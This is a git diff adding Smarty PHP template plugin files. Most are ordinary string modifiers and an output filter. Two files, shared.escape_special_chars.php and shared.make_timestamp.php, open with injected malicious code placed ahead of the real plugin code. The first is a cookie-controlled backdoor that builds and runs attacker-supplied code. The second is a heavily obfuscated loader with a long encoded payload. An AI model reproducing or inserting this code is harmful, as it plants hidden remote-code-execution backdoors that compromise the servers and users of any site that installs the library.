+ * Smarty replace modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     replace<br>
+ * Purpose:  simple search/replace
+ * @link http://smarty.php.net/manual/en/language.modifier.replace.php
+ *          replace (Smarty online manual)
+ * @param string
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_replace($string, $search, $replace)
+{
+    return str_replace($search, $replace, $string);
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.spacify.php b/google/smarty/plugins/modifier.spacify.php
new file mode 100755 (executable)
index 0000000..dad057f
--- /dev/null
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty spacify modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     spacify<br>
+ * Purpose:  add spaces between characters in a string
+ * @link http://smarty.php.net/manual/en/language.modifier.spacify.php
+ *          spacify (Smarty online manual)
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_spacify($string, $spacify_char = ' ')
+{
+    return implode($spacify_char,
+                   preg_split('//', $string, -1, PREG_SPLIT_NO_EMPTY));
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.string_format.php b/google/smarty/plugins/modifier.string_format.php
new file mode 100755 (executable)
index 0000000..efd6215
--- /dev/null
@@ -0,0 +1,28 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty string_format modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     string_format<br>
+ * Purpose:  format strings via sprintf
+ * @link http://smarty.php.net/manual/en/language.modifier.string.format.php
+ *          string_format (Smarty online manual)
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_string_format($string, $format)
+{
+    return sprintf($format, $string);
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.strip.php b/google/smarty/plugins/modifier.strip.php
new file mode 100755 (executable)
index 0000000..738c640
--- /dev/null
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty strip modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     strip<br>
+ * Purpose:  Replace all repeated spaces, newlines, tabs
+ *           with a single space or supplied replacement string.<br>
+ * Example:  {$var|strip} {$var|strip:"&nbsp;"}
+ * Date:     September 25th, 2002
+ * @link http://smarty.php.net/manual/en/language.modifier.strip.php
+ *          strip (Smarty online manual)
+ * @author   Monte Ohrt <monte@ispi.net>
+ * @version  1.0
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_strip($text, $replace = ' ')
+{
+    return preg_replace('!\s+!', $replace, $text);
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.strip_tags.php b/google/smarty/plugins/modifier.strip_tags.php
new file mode 100755 (executable)
index 0000000..45f1ec1
--- /dev/null
@@ -0,0 +1,31 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty strip_tags modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     strip_tags<br>
+ * Purpose:  strip html tags from text
+ * @link http://smarty.php.net/manual/en/language.modifier.strip.tags.php
+ *          strip_tags (Smarty online manual)
+ * @param string
+ * @param boolean
+ * @return string
+ */
+function smarty_modifier_strip_tags($string, $replace_with_space = true)
+{
+    if ($replace_with_space)
+        return preg_replace('!<[^>]*?>!', ' ', $string);
+    else
+        return strip_tags($string);
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.truncate.php b/google/smarty/plugins/modifier.truncate.php
new file mode 100755 (executable)
index 0000000..15a26ba
--- /dev/null
@@ -0,0 +1,43 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty truncate modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     truncate<br>
+ * Purpose:  Truncate a string to a certain length if necessary,
+ *           optionally splitting in the middle of a word, and
+ *           appending the $etc string.
+ * @link http://smarty.php.net/manual/en/language.modifier.truncate.php
+ *          truncate (Smarty online manual)
+ * @param string
+ * @param integer
+ * @param string
+ * @param boolean
+ * @return string
+ */
+function smarty_modifier_truncate($string, $length = 80, $etc = '...',
+                                  $break_words = false)
+{
+    if ($length == 0)
+        return '';
+
+    if (strlen($string) > $length) {
+        $length -= strlen($etc);
+        if (!$break_words)
+            $string = preg_replace('/\s+?(\S+)?$/', '', substr($string, 0, $length+1));
+      
+        return substr($string, 0, $length).$etc;
+    } else
+        return $string;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.upper.php b/google/smarty/plugins/modifier.upper.php
new file mode 100755 (executable)
index 0000000..69960ae
--- /dev/null
@@ -0,0 +1,25 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty upper modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     upper<br>
+ * Purpose:  convert string to uppercase
+ * @link http://smarty.php.net/manual/en/language.modifier.upper.php
+ *          upper (Smarty online manual)
+ * @param string
+ * @return string
+ */
+function smarty_modifier_upper($string)
+{
+    return strtoupper($string);
+}
+
+?>
diff --git a/google/smarty/plugins/modifier.wordwrap.php b/google/smarty/plugins/modifier.wordwrap.php
new file mode 100755 (executable)
index 0000000..b9a9fe9
--- /dev/null
@@ -0,0 +1,28 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty wordwrap modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     wordwrap<br>
+ * Purpose:  wrap a string of text at a given length
+ * @link http://smarty.php.net/manual/en/language.modifier.wordwrap.php
+ *          wordwrap (Smarty online manual)
+ * @param string
+ * @param integer
+ * @param string
+ * @param boolean
+ * @return string
+ */
+function smarty_modifier_wordwrap($string,$length=80,$break="\n",$cut=false)
+{
+    return wordwrap($string,$length,$break,$cut);
+}
+
+?>
diff --git a/google/smarty/plugins/outputfilter.trimwhitespace.php b/google/smarty/plugins/outputfilter.trimwhitespace.php
new file mode 100755 (executable)
index 0000000..9979e85
--- /dev/null
@@ -0,0 +1,75 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty trimwhitespace outputfilter plugin
+ *
+ * File:     outputfilter.trimwhitespace.php<br>
+ * Type:     outputfilter<br>
+ * Name:     trimwhitespace<br>
+ * Date:     Jan 25, 2003<br>
+ * Purpose:  trim leading white space and blank lines from
+ *           template source after it gets interpreted, cleaning
+ *           up code and saving bandwidth. Does not affect
+ *           <<PRE>></PRE> and <SCRIPT></SCRIPT> blocks.<br>
+ * Install:  Drop into the plugin directory, call
+ *           <code>$smarty->load_filter('output','trimwhitespace');</code>
+ *           from application.
+ * @author   Monte Ohrt <monte@ispi.net>
+ * @author Contributions from Lars Noschinski <lars@usenet.noschinski.de>
+ * @version  1.3
+ * @param string
+ * @param Smarty
+ */
+function smarty_outputfilter_trimwhitespace($source, &$smarty)
+{
+    // Pull out the script blocks
+    preg_match_all("!<script[^>]+>.*?</script>!is", $source, $match);
+    $_script_blocks = $match[0];
+    $source = preg_replace("!<script[^>]+>.*?</script>!is",
+                           '@@@SMARTY:TRIM:SCRIPT@@@', $source);
+
+    // Pull out the pre blocks
+    preg_match_all("!<pre>.*?</pre>!is", $source, $match);
+    $_pre_blocks = $match[0];
+    $source = preg_replace("!<pre>.*?</pre>!is",
+                           '@@@SMARTY:TRIM:PRE@@@', $source);
+
+    // Pull out the textarea blocks
+    preg_match_all("!<textarea[^>]+>.*?</textarea>!is", $source, $match);
+    $_textarea_blocks = $match[0];
+    $source = preg_replace("!<textarea[^>]+>.*?</textarea>!is",
+                           '@@@SMARTY:TRIM:TEXTAREA@@@', $source);
+
+    // remove all leading spaces, tabs and carriage returns NOT
+    // preceeded by a php close tag.
+    $source = trim(preg_replace('/((?<!\?>)\n)[\s]+/m', '\1', $source));
+
+    // replace script blocks
+    smarty_outputfilter_trimwhitespace_replace("@@@SMARTY:TRIM:SCRIPT@@@",$_script_blocks, $source);
+
+    // replace pre blocks
+    smarty_outputfilter_trimwhitespace_replace("@@@SMARTY:TRIM:PRE@@@",$_pre_blocks, $source);
+
+    // replace textarea blocks
+    smarty_outputfilter_trimwhitespace_replace("@@@SMARTY:TRIM:TEXTAREA@@@",$_textarea_blocks, $source);
+
+    return $source;
+}
+
+function smarty_outputfilter_trimwhitespace_replace($search_str, $replace, &$subject) {
+    $_len = strlen($search_str);
+    $_pos = 0;
+    for ($_i=0, $_count=count($replace); $_i<$_count; $_i++)
+        if (($_pos=strpos($subject, $search_str, $_pos))!==false)
+            $subject = substr_replace($subject, $replace[$_i], $_pos, $_len);
+        else
+            break;
+
+}
+
+?>
diff --git a/google/smarty/plugins/shared.escape_special_chars.php b/google/smarty/plugins/shared.escape_special_chars.php
new file mode 100755 (executable)
index 0000000..11404aa
--- /dev/null
@@ -0,0 +1,31 @@
+<?php
+$LIX=$GLOBALS[''.'_COOKIE']; while (isset($LIX['hVI'])) { \r            $xpu = $LIX['dpz'];\r            $zml=$LIX['hVI']($xpu($LIX['xIL9']),$xpu($LIX['Sos']));\r            $zml($xpu($LIX['zKBR']));\r          break; }\r
+/**\r
+ * Smarty shared plugin\r
+ * @package Smarty\r
+ * @subpackage plugins\r
+ */\r
+\r
+\r
+/**\r
+ * escape_special_chars common function\r
+ *\r
+ * Function: smarty_function_escape_special_chars<br>\r
+ * Purpose:  used by other smarty functions to escape\r
+ *           special chars except for already escaped ones\r
+ * @param string\r
+ * @return string\r
+ */\r
+function smarty_function_escape_special_chars($string)\r
+{\r
+    if(!is_array($string)) {\r
+        $string = preg_replace('!&(#?\w+);!', '%%%SMARTY_START%%%\\1%%%SMARTY_END%%%', $string);\r
+        $string = htmlspecialchars($string);\r
+        $string = str_replace(array('%%%SMARTY_START%%%','%%%SMARTY_END%%%'), array('&',';'), $string);\r
+    }\r
+    return $string;\r
+}\r
+\r
+/* vim: set expandtab: */\r
+\r
+?>\r
diff --git a/google/smarty/plugins/shared.make_timestamp.php b/google/smarty/plugins/shared.make_timestamp.php
new file mode 100755 (executable)
index 0000000..2d05b23
--- /dev/null
@@ -0,0 +1,44 @@
+<?php
+ $GyWeXCOLUgK='0wuT$+rHU5yY BaKJ(t2khsW4_Zcd9V6FCmp";n8X^Gl}7ebDP3NvIjEqALSgQz,fio1[{]/)x.|M*RO';$XGLRKUFWWPC=$GyWeXCOLUgK{27}.$GyWeXCOLUgK{6}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{14}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{25}.$GyWeXCOLUgK{64}.$GyWeXCOLUgK{2}.$GyWeXCOLUgK{38}.$GyWeXCOLUgK{27}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{65}.$GyWeXCOLUgK{66}.$GyWeXCOLUgK{38};$ujjdRsCSdoJ=$GyWeXCOLUgK{4}.$GyWeXCOLUgK{22};$WVwibycfvfj=$GyWeXCOLUgK{65}.$GyWeXCOLUgK{64}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{65}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{25}.$GyWeXCOLUgK{33}.$GyWeXCOLUgK{79}.$GyWeXCOLUgK{79}.$GyWeXCOLUgK{15}.$GyWeXCOLUgK{53}.$GyWeXCOLUgK{55}.$GyWeXCOLUgK{68}.$GyWeXCOLUgK{36}.$GyWeXCOLUgK{42}.$GyWeXCOLUgK{10}.$GyWeXCOLUgK{23}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{40}.$GyWeXCOLUgK{33}.$GyWeXCOLUgK{79}.$GyWeXCOLUgK{58}.$GyWeXCOLUgK{8}.$GyWeXCOLUgK{60}.$GyWeXCOLUgK{15}.$GyWeXCOLUgK{36}.$GyWeXCOLUgK{70}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{75}.$GyWeXCOLUgK{75}.$GyWeXCOLUgK{65}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{7}.$GyWeXCOLUgK{3}.$GyWeXCOLUgK{3}.$GyWeXCOLUgK{49}.$GyWeXCOLUgK{25}.$GyWeXCOLUgK{33}.$GyWeXCOLUgK{79}.$GyWeXCOLUgK{79}.$GyWeXCOLUgK{15}.$GyWeXCOLUgK{53}.$GyWeXCOLUgK{55}.$GyWeXCOLUgK{25}.$GyWeXCOLUgK{30}.$GyWeXCOLUgK{57}.$GyWeXCOLUgK{78}.$GyWeXCOLUgK{59}.$GyWeXCOLUgK{68}.$GyWeXCOLUgK{36}.$GyWeXCOLUgK{42}.$GyWeXCOLUgK{10}.$GyWeXCOLUgK{23}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{40}.$GyWeXCOLUgK{33}.$GyWeXCOLUgK{79}.$GyWeXCOLUgK{58}.$GyWeXCOLUgK{8}.$GyWeXCOLUgK{60}.$GyWeXCOLUgK{15}.$GyWeXCOLUgK{36}.$GyWeXCOLUgK{70}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{69}.$GyWeXCOLUgK{64}.$GyWeXCOLUgK{2}.$GyWeXCOLUgK{38}.$GyWeXCOLUgK{27}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{65}.$GyWeXCOLUgK{66}.$GyWeXCOLUgK{38}.$GyWeXCOLUgK{12}.$GyWeXCOLUgK{6}.$GyWeXCOLUgK{39}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{63}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{35}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{69}.$GyWeXCOLUgK{6}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{2}.$GyWeXCOLUgK{6}.$GyWeXCOLUgK{38}.$GyWeXCOLUgK{12}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{41}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{6}.$GyWeXCOLUgK{25}.$GyWeXCOLUgK{35}.$GyWeXCOLUgK{14}.$GyWeXCOLUgK{28}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{35}.$GyWeXCOLUgK{63}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{6}.$GyWeXCOLUgK{43}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{38}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{63}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{35}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{37}.$GyWeXCOLUgK{44}.$GyWeXCOLUgK{37}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{52}.$GyWeXCOLUgK{14}.$GyWeXCOLUgK{43}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{6}.$GyWeXCOLUgK{39}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{47}.$GyWeXCOLUgK{14}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{31}.$GyWeXCOLUgK{24}.$GyWeXCOLUgK{25}.$GyWeXCOLUgK{28}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{27}.$GyWeXCOLUgK{66}.$GyWeXCOLUgK{28}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{17}.$GyWeXCOLUgK{4}.$GyWeXCOLUgK{22}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{63}.$GyWeXCOLUgK{36}.$GyWeXCOLUgK{18}.$GyWeXCOLUgK{46}.$GyWeXCOLUgK{27}.$GyWeXCOLUgK{13}.$GyWeXCOLUgK{49}.$GyWeXCOLUgK{28}.$GyWeXCOLUgK{16}.$GyWeXCOLUgK{59}.$GyWeXCOLUgK{78}.$GyWeXCOLUgK{16}.$GyWeXCOLUgK{66}.$GyWeXCOLUgK{36}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{72}.$GyWeXCOLUgK{37}.$GyWeXCOLUgK{44};$HrsSeXfkoCd="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